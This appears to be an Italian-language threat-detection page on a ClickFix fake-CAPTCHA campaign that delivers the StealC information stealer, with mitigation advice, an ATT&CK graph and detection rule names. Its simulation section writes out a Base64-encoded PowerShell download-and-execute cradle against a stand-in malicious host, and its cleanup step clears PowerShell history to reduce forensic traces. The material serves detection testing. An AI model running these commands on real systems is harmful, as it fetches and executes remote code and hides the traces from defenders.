Come ClickFix apre la porta al furtivo StealC Information Stealer
Detection stack
- AIDR
- Alert
- ETL
- Query
Riassunto
Un’intrusione multi-stadio senza file inizia su un sito di un ristorante vietnamita compromesso che ospita un CAPTCHA falso. Le vittime sono indotte a eseguire PowerShell che tira shellcode indipendenti dalla posizione, che caricano riflessivamente un downloader a 64 bit e iniettano il ladro di informazioni StealC in svchost.exe. StealC raccoglie le credenziali del browser, dati del portafoglio di criptovalute, credenziali di Steam e Outlook, dettagli dell’host e screenshot, quindi esfiltra tramite traffico HTTP crittografato RC4.
Indagine
I ricercatori hanno esaminato il loader JavaScript e PowerShell, confermato l’uso del framework Donut shellcode, e hanno seguito i prelievi HTTP del downloader verso URL controllati dagli aggressori. Il software stealer sembra essere un malware-as-a-service guidato da un builder con funzionalitĂ modulari di furto, oltre a una routine di autoeliminazione. Le note di caccia includono un valore User-Agent di “Loader” e chiavi di registro specifiche legate alla messa in scena e all’esecuzione.
Mitigazione
Le difese raccomandate includono il limitare o disabilitare l’incolla da appunti nei browser, stringere le politiche di esecuzione di PowerShell, e generare allarmi su stringhe User-Agent insolite. Aggiungere il rilevamento per il caricamento riflettente di PE e l’iniezione di processi, e imporre l’ispezione HTTP in uscita per la consegna di payload codificati in Base64. L’educazione degli utenti sui simuli CAPTCHA fasulli dovrebbe essere trattata come un controllo, non un ripensamento.
Risposta
Se scoperto, isolare l’endpoint, fermare l’istanza svchost.exe iniettata, catturare dump della memoria per la revisione dello shellcode, e bloccare i domini/URL malevoli. Resettare le credenziali esposte, rivedere i reperti di registro e browser per l’impatto, e monitorare il traffico C2 residuo.
“graph TB %% Class definitions classDef technique fill:#99ccff classDef action fill:#ffcc99 classDef process fill:#dddddd tech_content_injection[“<b>Tecnica</b> – <b>T1659 Iniezione di Contenuti</b>: JavaScript dannoso iniettato in sito compromesso che consegna un CAPTCHA falso.”] class tech_content_injection technique attack_user_exec[“<b>Azione</b> – <b>T1204.004 Esecuzione Utente: Copia e Incolla Malevolo</b>: La vittima esegue il comando PowerShell tramite Win+R e Ctrl+V.”] class attack_user_exec action tech_powershell[“<b>Tecnica</b> – <b>T1059.001 PowerShell</b>: Esegue script PowerShell che scarica un loader in-memoria.”] class tech_powershell technique tech_obfuscation[“<b>Tecnica</b> – <b>T1027 File o Informazioni Offuscate</b>: Shellcode e stringhe crittografate, risoluzione dinamica API (T1027.007), payload spogliati (T1027.008).”] class tech_obfuscation technique tech_process_injection[“<b>Tecnica</b> – <b>T1055 Iniezione di Processo</b>: Iniezione di Eseguibile Portatile (T1055.002) e Process Hollowing (T1055.012) in svchost.exe.”] class tech_process_injection technique tech_masquerading[“<b>Tecnica</b> – <b>T1036 Masquerading</b>: Uso del processo legittimo svchost.exe per nascondere attivitĂ malevole.”] class tech_masquerading technique tech_cred_browser[“<b>Tecnica</b> – <b>T1555.003 Credenziali dai Browser Web</b>: Furto di credenziali del browser conservate.”] class tech_cred_browser technique tech_steal_cookie[“<b>Tecnica</b> – <b>T1539 Furto di Cookie di Sessione Web</b>: Cattura dei cookie di autenticazione dal browser.”] class tech_steal_cookie technique tech_use_cookie[“<b>Tecnica</b> – <b>T1550.004 Uso di Materiali di Autenticazione Alternativi: Cookie di Sessione Web</b>: Riutilizzo di cookie rubati per accesso autenticato.”] class tech_use_cookie technique tech_browser_discovery[“<b>Tecnica</b> – <b>T1217 Scoperta Informazioni Browser</b>: Raccogli informazioni su browser installati e loro configurazioni.”] class tech_browser_discovery technique tech_archive[“<b>Tecnica</b> – <b>T1560 Archiviazione Dati Raccolti</b>: Comprime o archivia dati raccolti prima dell’esfiltrazione.”] class tech_archive technique tech_exfil_c2[“<b>Tecnica</b> – <b>T1041 Esfiltrazione tramite Canale C2</b>: Trasferisci dati usando il canale di comando e controllo.”] class tech_exfil_c2 technique tech_encrypted_channel[“<b>Tecnica</b> – <b>T1573 Canale Criptato</b>: Proteggi l’esfiltrazione con crittografia (Base64+RC4).”] class tech_encrypted_channel technique tech_exfil_alt[“<b>Tecnica</b> – <b>T1048.001 Esfiltrazione tramite Protocollo Alternativo</b>: Usa protocolli alternativi per l’esfiltrazione dei dati.”] class tech_exfil_alt technique tech_file_deletion[“<b>Tecnica</b> – <b>T1070.004 Cancellazione File</b>: Elimina file e reperti per coprire le tracce.”] class tech_file_deletion technique tech_clear_persistence[“<b>Tecnica</b> – <b>T1070.009 Cancella la Persistenza</b>: Rimuovi meccanismi di persistenza dopo l’esecuzione.”] class tech_clear_persistence technique %% Connections showing attack flow tech_content_injection u002du002d>|leads_to| attack_user_exec attack_user_exec u002du002d>|executes| tech_powershell tech_powershell u002du002d>|uses| tech_obfuscation tech_obfuscation u002du002d>|enables| tech_process_injection tech_process_injection u002du002d>|uses| tech_masquerading tech_process_injection u002du002d>|enables| tech_cred_browser tech_process_injection u002du002d>|enables| tech_steal_cookie tech_cred_browser u002du002d>|supports| tech_browser_discovery tech_browser_discovery u002du002d>|feeds| tech_archive tech_archive u002du002d>|compressed_data| tech_exfil_c2 tech_steal_cookie u002du002d>|enables| tech_use_cookie tech_use_cookie u002du002d>|leads_to| tech_exfil_c2 tech_exfil_c2 u002du002d>|protected_by| tech_encrypted_channel tech_exfil_c2 u002du002d>|uses| tech_exfil_alt tech_exfil_c2 u002du002d>|triggers| tech_file_deletion tech_file_deletion u002du002d>|also| tech_clear_persistence “
Flusso di Attacco
Rilevamenti
Possibile Uso di PING per Ritardo nell’Esecuzione (via cmdline)
Visualizza
Download File Sospetto IP Diretto (via proxy)
Visualizza
LOLBAS wmic (via cmdline)
Visualizza
Download o Upload via Powershell (via cmdline)
Visualizza
IOC (SourceIP) da rilevare: Come ClickFix apre la porta allo StealC Information Stealer nascosto
Visualizza
IOC (HashSha256) da rilevare: Come ClickFix apre la porta allo StealC Information Stealer nascosto
Visualizza
IOC (DestinationIP) da rilevare: Come ClickFix apre la porta allo StealC Information Stealer nascosto
Visualizza
Rileva AttivitĂ di Rete di StealC Information Stealer [Connessione di Rete Windows]
Visualizza
Rileva Iniezione di Processo tramite StealC in svchost.exe [Creazione Processo Windows]
Visualizza
PowerShell EncodedCommand e iex(irm) Rilevati [PowerShell Windows]
Visualizza
Esecuzione di Simulazione
Prerequisito: Il controllo preliminare di Telemetria e Baseline deve essere superato.
Ragionamento: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e il resoconto DEVONO riflettere direttamente le TTP identificate e mirare a generare la telemetria esatta prevista dalla logica di rilevamento.
-
Narrativa dell’Attacco & Comandi:
Un attaccante riceve una email di phishing contenente un URL corto. L’obiettivo è installare una backdoor remota PowerShell senza allertare l’utente. L’attaccante realizza un payload PowerShell codificato in Base64 che scarica uno script malevolo da un server C2 e lo esegue immediatamente usando
iex(irm…). Usa il-EncodedCommandswitch, l’attaccante nasconde i comandi reali da un’ispezione superficiale, e iliex(irm…)pattern corrisponde direttamente alla regola di rilevamento.-
Creare lo script malevolo (
payload.ps1) ospitato suhttp://malicious.example.com/payload.ps1. -
Codificare il comando del launcher:
$launcher = "iex((New-Object System.Net.WebClient).DownloadString('http://malicious.example.com/payload.ps1'))" $bytes = [System.Text.Encoding]::Unicode.GetBytes($launcher) $encoded = [Convert]::ToBase64String($bytes) Write-Output $encoded # Questo valore è usato nel passo successivo -
Eseguire il comando codificato sul bersaglio:
powershell.exe -EncodedCommand
Questo genera un evento Sysmon ProcessCreate dove
CommandLinecontiene-EncodedCommandand il testo decodificato includeiex(irm…), soddisfacendo la regola Sigma. -
-
Script di Test di Regressione:
#----------------------------------------------------------- # Script di Simulazione – Attiva PowerShell EncodedCommand + iex(irm) #----------------------------------------------------------- # 1. Definisci URL dello script malevolo (sostituisci con il tuo server di test) $maliciousUrl = "http://malicious.example.com/payload.ps1" # 2. Crea la one‑liner che scarica ed esegue lo script $cmd = "iex((New-Object System.Net.WebClient).DownloadString('$maliciousUrl'))" # 3. Codifica il comando in Base64 (Unicode) $bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd) $b64 = [Convert]::ToBase64String($bytes) # 4. Avvia PowerShell con il comando codificato Write-Host "Esecuzione comando codificato..." Start-Process -FilePath "$env:windirSystem32WindowsPowerShellv1.0powershell.exe" ` -ArgumentList "-EncodedCommand $b64" ` -NoNewWindow -Wait Write-Host "Simulazione completata." -
Comandi di Pulizia:
# Rimuove qualsiasi file temporaneo creato dal payload simulato (se presente) # Esempio: elimina lo script scaricato se è stato salvato localmente $tempPath = "$env:TEMPpayload.ps1" if (Test-Path $tempPath) { Remove-Item $tempPath -Force Write-Host "Rimosso payload temporaneo." } # Facoltativamente, cancella la cronologia di PowerShell per ridurre le tracce forensi Clear-History